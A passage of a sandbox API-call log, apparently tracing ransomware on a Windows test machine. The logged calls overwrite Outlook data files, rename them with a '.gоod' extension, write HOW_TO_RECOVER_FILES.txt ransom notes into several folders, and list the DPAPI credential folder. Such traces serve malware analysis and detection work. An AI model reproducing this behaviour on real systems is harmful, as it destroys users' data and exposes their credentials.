SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0249.515] GetFileType (hFile=0x808) returned 0x1 [0249.515] WriteFile (in: hFile=0x808, lpBuffer=0x383e648*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x204ecc38, lpOverlapped=0x0 | out: lpBuffer=0x383e648*, lpNumberOfBytesWritten=0x204ecc38*=0xa10, lpOverlapped=0x0) returned 1 [0249.515] CloseHandle (hObject=0x808) returned 1 [0249.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs", lpFilePart=0x0) returned 0x3d [0249.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.gоod", lpFilePart=0x0) returned 0x42 [0249.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0249.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac358392, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xac358392, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x90eee6ac, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa10)) returned 1 [0249.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0249.515] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.srs.gоod")) returned 1 [0249.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x3d [0249.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecda0) returned 1 [0249.516] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), fInfoLevelId=0x0, lpFileInformation=0x383f8a8 | out: lpFileInformation=0x383f8a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd650107, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x916)) returned 1 [0249.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd60) returned 1 [0249.516] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x3d [0249.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0249.517] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0249.517] GetFileType (hFile=0x808) returned 0x1 [0249.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0249.517] GetFileType (hFile=0x808) returned 0x1 [0249.517] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x204ecdf8 | out: lpFileSizeHigh=0x204ecdf8*=0x0) returned 0x916 [0249.517] ReadFile (in: hFile=0x808, lpBuffer=0x3840438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd28, lpOverlapped=0x0 | out: lpBuffer=0x3840438*, lpNumberOfBytesRead=0x204ecd28*=0x916, lpOverlapped=0x0) returned 1 [0249.638] CloseHandle (hObject=0x808) returned 1 [0250.744] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x204ec730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x3d [0250.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecc50) returned 1 [0250.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0250.745] GetFileType (hFile=0x828) returned 0x1 [0250.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecbc0) returned 1 [0250.745] GetFileType (hFile=0x828) returned 0x1 [0250.745] WriteFile (in: hFile=0x828, lpBuffer=0x3893808*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x204ecc38, lpOverlapped=0x0 | out: lpBuffer=0x3893808*, lpNumberOfBytesWritten=0x204ecc38*=0x920, lpOverlapped=0x0) returned 1 [0250.745] CloseHandle (hObject=0x828) returned 1 [0250.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml", lpFilePart=0x0) returned 0x3d [0250.745] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.gоod", lpFilePart=0x0) returned 0x42 [0250.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0250.745] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd629eb7, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xdd629eb7, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x91abec52, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x920)) returned 1 [0250.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0250.746] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.gоod")) returned 1 [0250.747] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4a [0250.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0250.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Outlook\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\outlook\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0250.748] GetFileType (hFile=0x828) returned 0x1 [0250.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0250.748] GetFileType (hFile=0x828) returned 0x1 [0250.749] WriteFile (in: hFile=0x828, lpBuffer=0x3896e48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3896e48*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0250.749] CloseHandle (hObject=0x828) returned 1 [0250.749] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0250.749] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint", lpFilePart=0x0) returned 0x34 [0250.750] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0250.750] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.750] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.750] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0250.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0250.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0250.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0250.750] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint", lpFilePart=0x0) returned 0x34 [0250.750] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0250.751] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.751] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.751] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0250.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0250.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0250.751] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0250.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0250.751] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\PowerPoint\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\powerpoint\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0250.752] GetFileType (hFile=0x828) returned 0x1 [0250.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0250.752] GetFileType (hFile=0x828) returned 0x1 [0250.752] WriteFile (in: hFile=0x828, lpBuffer=0x38a7ef0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x38a7ef0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0250.753] CloseHandle (hObject=0x828) returned 1 [0250.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0250.753] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x2f [0250.753] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0250.753] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.753] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.753] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0250.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0250.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0250.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0250.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof", lpFilePart=0x0) returned 0x2f [0250.754] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0250.754] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.754] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0250.754] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0250.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0250.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0250.754] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0250.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0250.754] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Proof\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\proof\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0250.755] GetFileType (hFile=0x828) returned 0x1 [0250.755] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0250.755] GetFileType (hFile=0x828) returned 0x1 [0250.756] WriteFile (in: hFile=0x828, lpBuffer=0x38b8ea0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x38b8ea0*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0250.756] CloseHandle (hObject=0x828) returned 1 [0250.756] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0250.756] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x31 [0250.756] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0250.756] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.757] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a5eb6e1, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x3a5eb6e1, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2b89fccb, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1 [0250.757] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x5c020c86, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x5c020c86, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0250.757] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44622928, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44622928, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x2bc7f8fe, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SYNCHIST", cAlternateFileName="")) returned 1 [0250.757] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0250.757] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0250.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0250.757] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0250.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0250.757] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect", lpFilePart=0x0) returned 0x31 [0250.758] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 